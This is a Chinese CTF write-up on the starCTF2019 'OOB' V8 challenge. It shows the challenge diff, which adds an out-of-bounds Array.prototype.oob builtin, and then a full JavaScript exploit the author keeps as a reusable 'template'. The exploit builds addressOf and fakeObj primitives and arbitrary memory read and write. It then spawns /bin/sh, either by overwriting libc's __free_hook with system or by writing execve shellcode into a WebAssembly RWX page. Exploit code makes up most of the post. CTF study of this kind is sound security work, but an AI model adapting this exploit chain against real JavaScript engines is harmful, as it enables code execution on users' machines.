【v8漏洞利用模板】starCTF2019 -- OOB

文章目录

  • 前言
  • 参考
  • 题目环境配置
  • 漏洞分析

前言

一道入门级别的 v8 题目,不涉及太多的 v8 知识,很适合入门,对于这个题目,网上已经有很多分析文章,笔者不再为大家制造垃圾,仅仅记录一个模板,方便以后使用

参考

从一道CTF题零基础学V8漏洞利用

题目环境配置

关于 v8 的环境配置见笔者之前的文章,这里题目给了 diff 文件。我们需要回滚代码到指定版本,然后将 diffapply 进去,最后就是正常的编译流程:

git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply oob.diff
gclient sync -D # 别忘了 gclient sync 同步一下

漏洞分析

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

可以看到,这里将元素当作 Double 类型的数组

 FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());

然后作者给了一些注释,连猜带懵可以知道这里存在数组越界,具体将上面给出的参考文章。

贴个 exp

let debug = (o) => {
        %DebugPrint(o);
        %SystemBreak();
}

let hexx = (str, num) => {
        print("\033[32m"+str+":\033[0m 0x"+num.toString(16));
}

var raw_buf = new ArrayBuffer(8);
var d = new Float64Array(raw_buf);
var l = new BigUint64Array(raw_buf);

function d2l(num)
{
        d[0] = num;
        return l[0];
}

function l2d(num)
{
        l[0] = num;
        return d[0];
}

var tmp = [1, 2];
var float_arr = [1.1, 1.2]
var obj_arr = [tmp, float_arr]

var float_map = d2l(float_arr.oob());
var obj_map = d2l(obj_arr.oob());

hexx("float_map", float_map);
hexx("obj_map", obj_map);

function addressOf(obj)
{
        obj_arr[0] = obj;
        obj_arr.oob(l2d(float_map));
        let obj_addr = d2l(obj_arr[0]) - 1n;
        obj_arr.oob(l2d(obj_map));
        return obj_addr;
}

function fakeObj(addr)
{
        float_arr[0] = l2d(addr+1n);
        float_arr.oob(l2d(obj_map));
        let fake_obj = float_arr[0];
        float_arr.oob(l2d(float_map));
        return fake_obj;
}

var fake_obj_arr = [l2d(float_map), 0, 52.1, l2d(0x200000000n)];

var fake_obj_arr_addr = addressOf(fake_obj_arr);
var fake_obj_addr = fake_obj_arr_addr - 0x20n;
hexx("fake_obj_arr_addr", fake_obj_arr_addr);
hexx("fake_obj_addr", fake_obj_addr);

var fake_obj = fakeObj(fake_obj_addr);

function arb_read(addr)
{
        fake_obj_arr[2] = l2d(addr+1n-0x10n);
        return d2l(fake_obj[0]) - 1n;
}

function arb_write_fake(addr, value)
{
        fake_obj_arr[2] = l2d(addr+1n-0x10n);
        fake_obj[0] = l2d(value);
}

var tmp_buf = new ArrayBuffer(0x20);
var arb_write_buf = new DataView(tmp_buf);
var arb_write_buf_addr = addressOf(arb_write_buf);
var arb_write_buf_buf_addr = arb_read(arb_write_buf_addr+0x18n);
var backing_store_addr = arb_write_buf_buf_addr+0x20n;
var backing_store = arb_read(arb_write_buf_buf_addr+0x20n);
hexx("arb_write_buf_addr", arb_write_buf_addr);
hexx("arb_write_buf_buf_addr", arb_write_buf_buf_addr);
hexx("backing_store_addr", backing_store_addr);
hexx("backing_store", backing_store);


let exp_hook = () => {

        function get_shell(){
                var shell_str = new String("/bin/sh\0");
        }

        var tmp_addr = addressOf(tmp);
        var tmp_map = arb_read(tmp_addr);
        var tmp_construct_addr = arb_read(tmp_map+0x20n);
        var tmp_code_addr = arb_read(tmp_construct_addr+0x30n);
        var text_addr = arb_read(tmp_code_addr+0x2n+0x40n) + 1n;
        var text_base = text_addr - 0x94f780n;
        var malloc_got = text_base + 0x12AA9E0n - 0x679000n;
        var libc_base = arb_read(malloc_got) + 1n - 0x780e0n;
        var system = libc_base + 0x30290n;
        var free_hook = libc_base + 0x1cce48n;
        hexx("tmp_addr", tmp_addr);
        hexx("tmp_map", tmp_map);
        hexx("tmp_construct_addr", tmp_construct_addr);
        hexx("tmp_code_addr", tmp_code_addr);
        hexx("text_addr", text_addr);
        hexx("text_base", text_base);
        hexx("malloc_got", malloc_got);
        hexx("libc_base", libc_base);
        hexx("system_addr", system);
        hexx("free_hook", free_hook);
        arb_write_fake(backing_store_addr, free_hook);
        arb_write_buf.setFloat64(0, l2d(system), true);
        //arb_write_fake(backing_store_addr, backing_store);
        //arb_write_buf.setFloat64(0, l2d(0x68732f6e69622fn), true);
        get_shell();
}

let exp_wasm = () => {

        var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                        128,0,1,96,0,1,127,3,130,128,128,128,
                                        0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                        131,128,128,128,0,1,0,1,6,129,128,128,128,
                                        0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                        114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                        128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

        var wasm_module = new WebAssembly.Module(wasm_code);
        var wasm_instance = new WebAssembly.Instance(wasm_module);
        var func = wasm_instance.exports.main;
        var wasm_instance_addr = addressOf(wasm_instance);
        var func_addr = addressOf(func);
        var rwx_addr = arb_read(wasm_instance_addr+0x88n) + 1n;
        hexx("func_addr", func_addr);
        hexx("wasm_instance_addr", wasm_instance_addr);
        hexx("rwx_addr", rwx_addr);

        var shellcode = [
          0x2fbb485299583b6an,
          0x5368732f6e69622fn,
          0x050f5e5457525f54n
        ];


        arb_write_fake(backing_store_addr, rwx_addr);
        for (let i = 0; i < shellcode.length; i++)
        {
                arb_write_buf.setFloat64(i*8, l2d(shellcode[i]), true);
        }
        func();
}
exp_hook();
//exp_wasm();
//debug(tmp);

效果如下:
劫持 wasmshellcode
【v8漏洞利用模板】starCTF2019 -- OOB_第1张图片
劫持 free_hook
【v8漏洞利用模板】starCTF2019 -- OOB_第2张图片

你可能感兴趣的:(V8,v8,利用基础)